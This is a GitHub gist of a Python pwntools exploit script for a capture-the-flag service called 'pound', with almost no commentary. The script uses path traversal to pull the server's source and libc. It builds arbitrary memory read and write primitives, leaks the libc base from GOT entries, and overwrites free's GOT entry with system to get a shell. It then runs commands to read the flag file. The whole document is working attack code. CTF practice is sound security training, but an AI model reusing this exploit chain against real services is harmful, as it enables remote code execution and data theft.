Skip to content

Instantly share code, notes, and snippets.

@lumjjb
Created April 17, 2016 21:27
Show Gist options
  • Save lumjjb/4f2b241e5ccc9fa37aa54601a56656ea to your computer and use it in GitHub Desktop.
Save lumjjb/4f2b241e5ccc9fa37aa54601a56656ea to your computer and use it in GitHub Desktop.
import sys
import ctypes
from pwn import *
import struct
def u(s):
return struct.unpack("<i", s)[0]
r = remote('pound.pwning.xxx', 9765, ssl=False)
write = r.send
#write = sys.stdout.write
PRINT_STATE = "0"
INIT_STATE = "1"
PROP_F = "2"
PROP_B = "3"
CREATE_A = "4"
REMOVE_A = "5"
QUIT = "6"
def smenu():
r.recvuntil("Enter Your Choice: ")
def print_states():
write(PRINT_STATE + '\n')
return r.recvuntil('Menu:', drop=True)
def get_state():
write(PRINT_STATE + '\n')
r.recvuntil('State of', drop=True)
r.recvuntil('State ', drop=True)
_state = r.recvuntil('\nCitizen', drop=True)
r.recvuntil('Menu')
smenu()
return _state[:512], _state[512:512+512], _state[1024:1028]
def get_announcement():
write(PRINT_STATE + '\n')
r.recvuntil('PSA: ', drop=True)
announcement = r.recvuntil('State ', drop=True)
return announcement[:len(announcement) - 2]
def init_states(k):
write(INIT_STATE + '\n');
write(str(k) + '\n');
smenu()
def prop_f (k):
write(PROP_F + '\n');
write(str(k) + '\n');
smenu()
def prop_b (k):
write(PROP_B + '\n');
write(str(k) + '\n');
smenu()
def create_announcement (s, l):
write(CREATE_A + '\n')
write(str(l) + '\n')
write(str(s) + '\n')
smenu()
def remove_announcement():
write(REMOVE_A + '\n')
smenu()
def quit():
write(QUIT + '\n')
def skip_main_menu():
r.recvuntil("3. Quit",drop=False)
r.recvuntil("\n",drop=False)
r.recvuntil("\n",drop=False)
def read_tweet(s):
r.send('1\n')
print r.recvuntil('\n', drop=False)
print r.recvuntil('\n', drop=False)
r.send(str(s) + '\n')
mydata = r.recvuntil("1. Read Trump article", drop=True)
skip_main_menu()
return (mydata).rstrip(" \n\t")
STEP = 0x01010101
STEP4 = STEP * 4
def minus(x):
while x > STEP:
raw_input()
print "minusing"
init_states(STEP4)
prop_b(STEP)
x -= STEP
if x > 0:
raw_input()
print "minusing"
init_states(STEP4)
prop_b(x)
def add_to_ptr(x):
while x > STEP:
init_states(STEP4)
prop_f(STEP)
x -= STEP
if x > 0:
init_states(STEP4)
prop_f(x)
def reset_zero(y):
x = 0xffffffff - y + 1
add_to_ptr (x)
def arb_read (addr):
# Assume zero
add_to_ptr(addr)
ann = get_announcement()
reset_zero(addr)
return ann
def arb_write(addr, s):
l = len(s)
# Assume zero
add_to_ptr(addr)
create_announcement (s, len(s) + 1)
reset_zero(addr)
""" INITIAL STUFF"""
"""
skip_main_menu()
with open('pound.c', 'w') as f:
f.write(read_tweet("../pound.c"))
f.close()
with open('libc.so', 'w') as f:
f.write(read_tweet("../../../../../../../lib32/libc.so.6"))
f.close()
sim_path="../sims/sim-670ef33f9689ff60e3276f3371ad8d99d101a955841d12d2b7e761e7e5d3c3b4"
with open('sim', 'w') as f:
f.write(read_tweet(sim_path))
f.close()
exit(0)
"""
""" Running exploit """
# IDB INFO
"""
.got.plt:0804B00C off_804B00C dd offset printf ; DATA XREF: _printfr
.got.plt:0804B010 off_804B010 dd offset strcspn ; DATA XREF: _strcspnr
.got.plt:0804B014 off_804B014 dd offset free ; DATA XREF: _freer
.got.plt:0804B018 off_804B018 dd offset fgets ; DATA XREF: _fgetsr
.got.plt:0804B01C off_804B01C dd offset malloc ; DATA XREF: _mallocr
"""
FREE_GOT = 0x804B014
FGETS_GOT = 0x0804B018
MALLOC_GOT = 0x0804B01C
"""
.text:00075B30 malloc
.text:000760C0 free
.text:0003FCD0 system
.rodata:0015DA84 aBinSh db '/bin/sh',0
"""
MALLOC_OFFSET = 0x00075B30
FREE_OFFSET = 0x000760C0
SYSTEM_OFFSET = 0x0003FCD0
BINSH_OFFSET = 0x0015DA84
###
skip_main_menu()
write ('2\n')
r.recvuntil("each...")
n = 257 # This is (1024+4)/4 basically we want our pointer to be the last thing.
r.recvuntil("Size:")
write(str(n)+ '\n')
r.recvuntil("Size:")
write(str("N;") + '\n')
state1_name = '\x0e' * 508
state2_name = '\x0f' * 508
write(state1_name + '\n')
write(state2_name + '\n')
smenu()
# Allocate a pointer on the heap to leak
remove_announcement()
create_announcement("hello", 300)
init_states (STEP*4)
prop_f (STEP * 2);
init_states (STEP * 4)
prop_f (STEP * 2);
s1, s2, ann = get_state()
ann = u(ann)
print hex(ann)
reset_zero(ann)
"""
Since free GOT entry is just before fgets and we have a null byte to deal with
we must write into free/fgets/malloc at the same time
"""
malloc_gotv = (arb_read(MALLOC_GOT)[:4])
free_gotv = (arb_read(FREE_GOT)[:4])
fgets_gotv = (arb_read(FGETS_GOT)[:4])
libc_base = struct.unpack("<I", malloc_gotv)[0] - MALLOC_OFFSET
print "FREE GOT:" + str(list(free_gotv))
print "FGETS GOT:" + str(list(fgets_gotv))
print "MALLOC GOT:" + str(list(malloc_gotv))
system_addr = libc_base + SYSTEM_OFFSET
binsh_addr = libc_base + BINSH_OFFSET
print "LIBC_BASE:" + str(hex(libc_base))
print "Writing GOT "
system_gotv = (struct.pack("<I", system_addr))
arb_write(FREE_GOT, system_gotv + fgets_gotv + malloc_gotv)
add_to_ptr(binsh_addr)
remove_announcement()
write('ls\n')
write('id\n')
write('id\n')
write('id\n')
write('cat flag-e65ddfde1b3bf0a9cf7b04922e30ad8ba8e4030c098c1eba1d8afcbe04fe20f6\n')
print r.recvrepeat(timeout=10)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment